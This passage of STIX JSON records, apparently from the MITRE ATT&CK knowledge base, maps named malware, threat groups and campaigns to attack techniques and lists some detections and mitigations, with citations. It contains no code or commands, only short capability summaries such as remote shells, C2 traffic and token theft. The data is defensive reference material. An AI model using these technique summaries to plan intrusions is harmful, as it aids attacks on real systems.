uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--459c1849-b2c7-4bd3-96a1-578c1f231579","created":"2024-04-10T21:05:22.230Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T21:05:22.230Z","description":"[PULSECHECK](https://attack.mitre.org/software/S1108) can use Unix shell script for command execution.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--9a097d18-d15f-4635-a4f1-189df7efdc40","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45a113e7-452c-4bf3-9962-b0f71f386095","type":"relationship","created":"2019-06-05T21:30:37.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ProofPoint Ursnif Aug 2016","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.887Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used encoded data in HTTP URLs for C2.(Citation: ProofPoint Ursnif Aug 2016)\t","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45a1721f-67a3-479a-befe-d136ed0fdad3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.322Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45a8a431-8465-4f6e-8258-817d919a6a52","created":"2024-08-14T14:27:45.161Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:27:45.161Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used custom tooling to acquire tokens using `ImpersonateLoggedOnUser/SetThreadToken`.(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45a9a394-2371-4751-ae86-043630b6f52a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:18:34.001Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the Internet adapter configuration.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45ac8255-65b5-4cae-92ce-1e435da5efa1","type":"relationship","created":"2020-01-24T14:21:52.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:21:52.967Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45bff763-b4f8-45e5-bb40-c98b415131f9","created":"2021-03-24T21:15:36.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:30:45.965Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has obfuscated scripts used in execution.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45c4d1f9-414f-4542-8272-c783f7314514","type":"relationship","created":"2020-05-07T02:33:06.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.546Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a CommandPromptPacket and ScriptPacket module(s) for creating a remote shell and executing scripts.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45c9645b-05df-4ec0-9965-293587c3928e","type":"relationship","created":"2021-03-23T22:13:34.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-04-22T02:09:39.349Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) has used Taiwan-based servers that appear to be exclusive to [GALLIUM](https://attack.mitre.org/groups/G0093).(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45ca99b5-7d7b-4067-9108-a9847e4123d6","created":"2024-02-14T20:34:29.004Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:34:29.004Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) masquerades malicious LNK files as PDF objects using the double extension .pdf.lnk.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45cd89d8-68fd-42a2-94ba-7796a696bc47","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2019-09-04T22:55:40.729Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has a tool called CANDYKING to capture a screenshot of user's desktop.(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--45ce4803-9ed5-4960-ac34-7fe3b22919d5","created":"2022-05-26T15:21:53.071Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used Powershell to discover email accounts.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-05-26T15:21:53.071Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45cf2f0f-0398-4fb2-9d82-5ade58f33e30","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T16:41:42.373Z","description":"Monitor for newly constructed processes indicative of modifying account settings, such as those that modify `authorized_keys` or `/etc/ssh/sshd_config` files.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--45d6b670-d781-49fe-8688-d403c9033429","created":"2022-05-27T14:06:05.236Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-05-27T14:06:05.236Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45d6e0d0-5de1-4382-ae08-acf4f035a740","type":"relationship","created":"2019-04-23T13:43:22.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.004Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains a module for recursively parsing through files and directories to gather valid credit card numbers.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45d8c4f2-27e4-4063-9eec-d8023c61c74b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:39.227Z","description":"A [JPIN](https://attack.mitre.org/software/S0201) variant downloads the backdoor payload via the BITS service.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45df3c58-de91-4f36-a094-44e52b077f41","created":"2022-09-27T18:11:35.867Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:11:35.867Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors’ XServer tool communicated using HTTP and HTTPS.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45e1151f-d4f7-478a-8bb5-78e4698a8a06","created":"2024-07-01T21:05:04.268Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:05:04.268Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can list installed software on compromised systems.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45e8c03d-86f3-4cc0-907b-1e1d13960e43","created":"2024-10-16T14:34:07.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T14:34:51.551Z","description":"Remove unnecessary and potentially abusable authentication and authorization mechanisms where possible.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45e9de66-7203-48e9-bd9b-096c289f35db","type":"relationship","created":"2020-04-30T15:51:59.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.165Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has decoded XOR encoded strings holding its configuration upon execution.(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45eda154-7d5b-406d-b4eb-8d1ba2b79f40","type":"relationship","created":"2020-09-29T15:45:28.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-29T17:39:46.331Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can send files from the victim machine to C2.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--45eef730-8c5b-45fb-9cd9-c7998a764898","created":"2022-08-24T19:54:26.941Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to set a hardcoded and randomized sleep interval.(Citation: Proofpoint Bumblebee April 2022)","modified":"2022-08-24T19:54:26.941Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45ef2a23-61b6-4f78-9d86-58a2d50a4ee0","created":"2023-02-08T00:23:36.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:07:10.364Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can establish an indirect and raw TCP socket-based connection to the C2 server.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f150d4-a917-4862-bcee-170be75415cd","type":"relationship","created":"2021-10-11T18:29:51.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.313Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can drop its payload into the Startup directory to ensure it automatically runs when the compromised system is started.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f25329-8d43-4e17-bbd3-5a8f8f3d9669","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to windows registry keys and/or values that may execute their own malicious payloads by hijacking the way operating systems run programs.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f35ec0-73a8-42a6-b879-d800d27211c8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.197Z","description":"[APT19](https://attack.mitre.org/groups/G0073) uses a Port 22 malware variant to modify several Registry keys.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45f3afcd-d0b7-494b-a61a-cad724dbf72a","type":"relationship","created":"2019-01-30T18:39:48.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."}],"modified":"2019-07-17T01:18:32.766Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) enumerates information about connected storage devices.(Citation: Unit42 Cannon Nov 